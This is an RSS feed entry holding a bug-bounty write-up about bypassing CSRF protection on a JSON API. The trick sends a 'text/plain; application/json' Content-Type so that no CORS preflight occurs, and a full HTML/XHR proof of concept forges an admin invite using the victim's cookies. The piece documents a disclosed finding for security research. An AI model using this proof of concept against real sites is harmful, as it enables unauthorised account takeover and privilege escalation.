<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Omar Essam (hack3dby0mar) on Medium]]></title>
        <description><![CDATA[Stories by Omar Essam (hack3dby0mar) on Medium]]></description>
        <link>https://medium.com/@hack3dby0mar?source=rss-4bcaae4fc77e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*hoHevHQdykKmvdjNAaGEcw.jpeg</url>
            <title>Stories by Omar Essam (hack3dby0mar) on Medium</title>
            <link>https://medium.com/@hack3dby0mar?source=rss-4bcaae4fc77e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 02:56:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hack3dby0mar/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Busting CSRF: The Hidden Dangers of JSON Exploited]]></title>
            <link>https://infosecwriteups.com/busting-csrf-the-hidden-dangers-of-json-exploited-fd4aeb4cf47e?source=rss-4bcaae4fc77e------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd4aeb4cf47e</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Omar Essam (hack3dby0mar)]]></dc:creator>
            <pubDate>Fri, 24 May 2024 14:19:18 GMT</pubDate>
            <atom:updated>2024-06-17T18:01:53.039Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/840/0*UHK1bSe2HAfTBFL_.png" /></figure><p>This write-up is about an interesting technique not known to many people, which I used to bypass CSRF protection on every single endpoint of a website that belonged to a private bug bounty program.</p><p>Let’s jump right in…</p><p>I was exploring the website when I stumbled upon an endpoint for inviting admins. It looked like this:</p><pre>POST /api/rounds/test_round/admin/invite<br>Host: example.com<br>Cookies: ……<br>Content-type: application/json<br>{<br> &quot;email&quot;: &quot;admin@gmail.com&quot;<br>}</pre><p>At first glance, it seemed safe from CSRF attacks. You can’t send a JSON request using an HTML form, so it would need to be an XMLHttpRequest (XHR). And cross-origin XHRs with non-simple requests (like those using Content-Type: application/json) typically trigger a preflight check due to the browser’s CORS (Cross-Origin Resource Sharing) policy. This usually blocks malicious requests.</p><p>But wait, what if… <strong>Let’s talk about CORS and preflight requests:</strong></p><p>The browser uses preflight requests to make sure a cross-origin request is safe before sending it. It’s like a quick check with the server. Here’s the rundown:</p><ul><li><strong>Simple vs. Non-Simple:</strong> Simple requests are basically basic GET, HEAD, or POST requests with standard headers. Non-simple requests have custom headers or different content types.</li><li><strong>The Preflight Flow:</strong></li></ul><ol><li>The browser sends an OPTIONS request to the server before the actual request.</li><li>The server responds with CORS headers saying yes or no to the request.</li><li>If it’s a yes, the browser sends the actual request. If it’s a no, the request gets blocked.</li></ol><p>So, how does this protect against CSRF? Well, for a cross-origin XHR with Content-Type: application/json, the server needs to explicitly allow the request:</p><ul><li><strong>Origin:</strong> The website the request is coming from.</li><li><strong>Methods &amp; Headers:</strong> The specific methods and headers used in the request.</li></ul><p>If the server’s CORS configuration is correct, it won’t allow the malicious origin, and the preflight request will fail, blocking the attack.</p><p><strong>But there’s a twist…</strong> In this case, the CORS policy was set up correctly, so, sadly, I had to come up with something different…</p><p>I thought, “Is the JSON content type <em>really</em> necessary?” What if I removed the request body and added the email as a query parameter instead? Like this:</p><pre>POST /api/rounds/test_round/admin/invite?email=admin@gmail.com<br>Host: example.com<br>Cookies: ……<br>Content-type: application/json<br>{}</pre><p>And it worked! I got a 200 OK response, and the admin invite was sent. However, I still had that Content-Type: application/json header, which would normally trigger a preflight check. I tried removing it or changing it, but I got an error:</p><pre>HTTP/2 500 Internal Server Error<br>…<br>…<br>…<br>POST, PUT, and PATCH require Content-Type to be application/json.</pre><p>I almost gave up, but then I decided to think about how the server was validating the content type. What if it just checks that “application/json” is <em>somewhere</em> in the header? So I tried something like this:</p><pre>Content-Type: blabla application/json</pre><p>And guess what? It worked! I had a new avenue to explore…</p><p>Now, I just needed to trick the browser into thinking the request was using a simple content type that wouldn’t require a preflight check. After some research and asking around, I arrived at this:</p><pre>Content-Type: text/plain; application/json</pre><p>The browser typically treats the first part of the Content-Type header (up to the semicolon) as the MIME type. This meant the browser would likely see text/plain and ignore the rest, sending the request directly without a preflight check.</p><p><strong>Time for a Proof of Concept:</strong></p><p>Here’s the HTML code I created:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;head&gt;<br>    &lt;meta charset=&quot;UTF-8&quot;&gt;<br>    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;<br>    &lt;title&gt;CSRF PoC&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;script&gt;<br>        var email = &quot;attacker@test.com&quot;;<br>        var contentType = &quot;text/plain; application/json&quot;;var xhr = new XMLHttpRequest();<br>        xhr.open(&quot;POST&quot;, &quot;https://example.com/api/rounds/test_round/admin/invite?email=&quot; + email, true);<br>        xhr.setRequestHeader(&quot;Content-Type&quot;, contentType);<br>        xhr.withCredentials = true; // Include cookies<br>        var payload = JSON.stringify({});<br>        xhr.onload = function () {<br>            if (xhr.status &gt;= 200 &amp;&amp; xhr.status &lt; 300) {<br>                console.log(&#39;CSRF request sent successfully&#39;);<br>            } else {<br>                console.error(&#39;Failed to send CSRF request&#39;);<br>            }<br>        };<br>        xhr.send(payload);<br>    &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;<br></pre><p>The exploit succeeded and the browser sent the request directly without a pre-flight!</p><p>I tested this on many different endpoints that performed sensitive actions, and every single one was vulnerable to this CSRF attack!</p><p><strong>The Bottom Line:</strong></p><p>Don’t just assume that security mechanisms are bulletproof. Always explore different angles, especially when it comes to security research and bug bounty hunting. A little creativity and a good dose of curiosity can go a long way!</p><p>The technique in this writeup is inspired by this super interesting <a href="https://jub0bs.com/posts/2022-02-08-cve-2022-21703-writeup/">CVE writeup by jub0bs,</a> go give it a read.</p><p>If you enjoyed this writeup please follow me on medium and <a href="https://x.com/hack3dby0mar">Twitter</a></p><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd4aeb4cf47e" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/busting-csrf-the-hidden-dangers-of-json-exploited-fd4aeb4cf47e">Busting CSRF: The Hidden Dangers of JSON Exploited</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>